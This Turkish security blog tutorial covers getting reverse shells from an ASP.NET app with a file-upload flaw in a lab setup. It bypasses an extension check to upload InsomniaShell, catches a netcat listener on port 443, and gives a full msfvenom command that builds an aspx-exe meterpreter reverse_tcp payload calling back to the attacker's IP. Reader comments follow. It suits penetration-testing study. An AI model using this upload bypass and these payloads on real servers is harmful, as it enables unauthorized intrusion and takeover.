• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 4333

ASP.NET Web Shell ile Ters Bağlantı Alma Yöntemleri

Bu yazımızda herhangi bir dosya yükleme zayıflığı tespit edilmiş olan bir ASP.NET uygulaması üzerinden web Shell kullanarak ters bağlantı alınmasını ele alacağım. Bildiğiniz üzere birçok web uygulamasında zaman zaman dosya yükleme zayıflıkları tespit edilebilmektedir. Bu zayıflıklar kullanılarak sisteme zararlı bir .NET kodu atılabilir ve çalıştırılabilirse, sistem yönetimi ele geçirilebilmektedir.

Ben bu makaleyi iki kısımda ele alacağım. Birincisi ImsomniaShell üzerinden netcat’e ters bağlantı sağlamak, diğeri ise msfvenom ile aspx-exe oluşturarak meterpreter back connect alacağız.

1. ImsomniaShell ile Back Connect Alma

Malzemeler:

  1. Bir adet IIS Server (Windows Server 2008 R2 kullanacağız IP=192.168.126.100)
  2. Bir adet az yoğrulmuş web uygulaması (dosya upload zayıflığı barındıran bir uygulama)
  3. Çakmak – Kibrit (Tamper Data – Firefox için)
  4. Tuz biber (Kali Linux v2.0 kullanacağız IP=192.168.126.141)
  5. http://www.eyupcelik.com.tr/dosyalar/insamnia.rar dosya şifresi rakamla 1 dir.)
  6. Fırına verme (Netcat kullanacağız)

Bu makalede kullanacağımız web uygulaması, Adeo Security ekibi tarafından yazılmış olan bir vulnerable e-ticaret sistemi olacak. Bu yazılım henüz public edilmediği için burada paylaşmadım. Siz testleri DVWA üzerinden gerçekleştirebilirsiniz.

adeo vulnerable market

adeo_vulnerable_market.png

Web uygulamasına erişim sağlanıp, giriş yapıldıktan sonra profil düzenle menüsü olduğunu görüyoruz. Bu profil düzenle menüsüne erişelim.

profil duzenle

profil_duzenle.png

Profil düzenleme sayfasında, bizden bir profil resmi istediğini gördük. Şimdi Tamper Data’yı açıp profil resmimizi seçerek kaydet diyeceğiz.

Indirmiş olduğuz imsoniashell.aspx dosyasının adını “imsoniashell.aspx;eyup.jpg” şeklinde değiştirelim. Böyle bir şey yapmaya neden ihtiyaç duyuyoruz soruna gelecek olursak da; birçok geliştirilen web uygulaması kullanıcıdan resim vb. dosyalar yüklemesini isterken kullanıcı taraflı bir kontrolden geçirir. Örneğin sadece .jpg, .png veya .gif dosyaları yüklenebilsin gibi… Biz böyle bir kontrole takılmamak (daha doğrusu bu kontrolü aşmak için) bu yöntemi kullanacağız. Ancak eğer hem kullanıcı hem de sunucu taralı bir kontrol yazılmışsa; örneğin jpg bitlerini kontrol et ve jpg olup olmadığına karar ver gibi bir kontrol varsa bunu aşmak oldukça zor olacaktır.

Tamper Data’yı açıp start moda alıp, resim dosyamızı seçiyoruz.

tamper 1

tamper_1.png

Tamper Data araya girecek ve veriyi değiştirmek isteyip istemediğimizi soracak. Bu bildirime Tamper diyip, içeriği değiştireceğimizi bildiriyoruz.

tamper edit

tamper_edit.png

POST_DATA bölümünde yer alan POST edilen veriyi seçip CTRL+A ile tümünü seçiyoruz ve CTRL+C ile kodu kopyalayıp bir metin editörüne yapıştırıyoruz.

shell tamper

shell_tamper.png

Kırmızı alanda işaretlemiş olduğum dosya adının yer aldığı satırı bulup “InsomniaShell.aspx;eyup.jpg” dosya adını “InsomniaShell.aspx” şeklinde değiştirip, kodumuzun tamamını kopyalıyoruz. Tamper ekranına geçip, POST_DATA kısmında yazan tüm içeriği silip, kopyalamış olduğumuz kodu buraya yapıştırarak Tamper ekranına tamam diyoruz ve değişikliğimiz sunucu tarafına iletiliyor.

profil resmi degisikligi

profil_resmi_degisikligi.png

Hoop bakıyoruz profil resmimiz değişti ve görüntülenemeyen bir resim durumuna düştü. Şimdi profil resmimizin dizinini öğrenmemiz gerekiyor. Yani sunucuya göndermiş olduğumuz Imsoniashell.aspx dosyanın yüklenmiş olduğu dizini bulmalıyız. Bunun için F12 ile profil resminin dizinine bakacağız.

profil resmi dizini

profil_resmi_dizini.png

Profil resmi adresine baktığımızda “../profilresim/InsomniaShell.aspx” şeklinde yüklenmiş olduğunu görüyoruz. Yani olduğumuzdan dizinden bir klasör üste çıkıp profilresim dizininden Insomniashell.aspx yazdığımızda yüklemiş olduğumuz shelle erişebileceğiz.

shell erisim

shell_erisim.png

Shell’e erişimi sağladık. Artık geriye kalan sistemden back connect almak. Bunun için hemen Kali Linux’a dönüp “netcat”i çalıştıracağız.

kali netcat

kali_netcat.png

Kali’den yeni bir terminal ekranı açıyoruz. “nc -l -v -p 443” komutunu yazıyoruz. Buna göre netcat -l parametresi ile listen mode’a geçecek. -v parametresi ile bağlantı hakkında bize detaylı bilgi verecek. -p parametresi ile de 443’üncü portu dinleme moduna alacak.

Neden 443’üncü portu seçtiğimize gelecek olursa; birçok web uygulamasının çalıştığı sunucuda içerden dışarı çoğu port kapalıdır. 80 ve 443 genel itibari ile açık olan portlardır. Hele ki web yayını yapan bir web uygulamasıysa 80 ve 443’üncü portlar kaçınılmaz olarak açıktır. Bir engellemeye takılmamak adına 443’üncü portu seçtik yani.

Şimdi shell’imize geri dönüp, ters bağlantı yapacağı ip adresini ve portu yazıyoruz.

ters baglanti

ters_baglanti.png

Host kısmına Kali Linux’un IP adresini, Port kısmına da 443’üncü portu yazıp, Connect Back Shell butonuna bastığımızda, netcat ile dinlemekte olduğumuz 443’üncü porta ters bağlantı gönderecek.

netcat ters baglanti

netcat_ters_baglanti.png

Görüldüğü üzere netcat ile dinlediğimiz 443 portuna ters bağlantı gönderildi. Artık makinada komut çalıştırabiliriz. Hemen makinadaki kullanıcı hesaplarına bakabiliriz.

net user

net_user.png

Evet görüldüğü üzere makinada komut yürüttük. “net user” komutu ile sistemdeki kullanıcı hesaplarına baktık. Buna göre Adeo, Administrator ve Guest adında 3 kullanıcı mevcutmuş. Bundan sonraki adımda ne kadar windows komutu biliyorsanız o kadar sistemde komut yürütebilirsiniz.

Dip Not: Insomniashell.aspx sayfasını kapatmadığınız sürece ters bağlantı çalışmaya devam edecektir.

2. Msfvenom aspx-exe Oluşturarak Ters Bağlantı Alma

  1. Bir adet IIS Server (Windows Server 2008 R2 kullanacağız IP=192.168.126.100)
  2. Bir adet az yoğrulmuş web uygulaması (dosya upload zayıflığı barındıran bir uygulama)
  3. Çakmak – Kibrit (Tamper Data – Firefox için)
  4. Tuz biber (Kali Linux v2.0 kullanacağız IP=192.168.126.141)
  5. aspx-exe oluşturma (msfvenom)
  6. Fırına verme (Metasploit multi/handler kullanacağız)

1 numaralı adımda anlatılan adımları baştan anlatmayacağım. Bu yüzden 1 numaralı anlatımda resim yükleme alanına kadar ilerlendiğini varsayıyorum. Buranın devamını okuyacak arkadaşların msfvenom ile kullanımı ile ilgili bu makaleyi http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve-msfvenom-ile-backdoor-olusturma okumalarında fayda görüyorum.

Kali Linux’da yeni bir terminal ekranı açıp, msfvenom ile aspx-exe tipinde bir meterpreter ajanı oluşturalım. Abi neden aspx-exe kullanacağız diyenler vardır şimdi. Aspx-exe ile bir aspx dosyası oluşturacağız. Oluşturduğumuz bu aspx-exe dosyasını hedefe yükleyip çalıştırdığımızda, sunucunun temp dizine random bir isimde bir exe dosyası oluşturacaktır. Daha sonra gidi bu exe yi çalıştırıp bize meterpreter bağlantısı gönderecektir. Bu yüzden aspx-exe kullanacağız.

msfvenom aspx exe

msfvenom_aspx_exe.png

Açtığımız terminal ekranına “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f aspx-exe --platform windows -o /root/Desktop/Profile.aspx” komutunu yazıyoruz. Bu komut ile 192.168.126.141 IP adresinin 443 portuna geri dönecek aspx-exe formatında, windows platformda çalışacak bir meterpreter çıktısını /root/Desktop/ dizinine Profile.aspx adında oluşturacak.

Oluşturmuş olduğumuz dosyayı 1 numaralı adımda anlatıldığı gibi sunucuya yükleyerek dosyaya erişimi sağlamamız gerekiyor. Ancak bundan önce metasploit multi/handler başlatmamız gerekiyor. Metasploit’ten multi/handler’ı aşağıdaki gibi başlatıp listen mode’a geçiyoruz.

multi handler

multi_handler.png

Handlerı başlattığımıza göre artık dosyaya eriştiğimizde bize ters bağlantı gelecektir.

profile aspx

profile_aspx.png

Yüklemiş olduğumuz Profile.aspx dosyasına bir kere erişim sağladığımızda temp dizinine bir exe oluşturup çalıştıracak ve meterpreter bağlantısı sağlayacaktır. Şimdi Kali Linux’a geri dönüp, gelen bağlantılara bakalım.

Dip Not: Sayfaya kaç kere erişirseniz o kadar meterpreter bağlantısı kuracaktır.

metasploit ters baglanti

metasploit_ters_baglanti.png

Bağlantımız gelmiş. Artık “sessions” komutu çalıştırarak gelen bağlantıları listeleyebiliriz.

sessions

sessions.png

Bir bağlantı gelmiş. Gelen bu bağlantıya geçmek için “sessions -i 1” komutunu çalıştırarak 1 numaralı id ye sahip oturumu üzerimize alıyoruz.

meterpreter session

meterpreter_session.png

Oturumu üzerimize aldık. Ardından “shell” komutu atarak windows komut arabirimine eriştik. Komut arabirimine “net user” komutu atarak mevcut kullanıcıların listesini aldık.

Güvenli günler.

Comments

+1 Enes 13-05-2016 09:52 #1
Eyüp abi gene döktürmüş :) Ellerine sağlık abi . :D
Quote
0 asas 30-04-2017 21:47 #2
valla tamamını okumadım ama tam ihtiyacım olan şey . teşekkürler . web de bu konuda ingilizce döküman bile bulmak zor . hepsi aynı basit şeyleri tekrarlıyor ..
Quote
0 asas 30-04-2017 21:52 #3
okumayı bitirdim . ama birşey söyliycem .. bu yöntemi çoğu web server çalıştırmaz , güvenlik kuralları gereği aspx çalıştırmaz . hata verir .
Quote

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top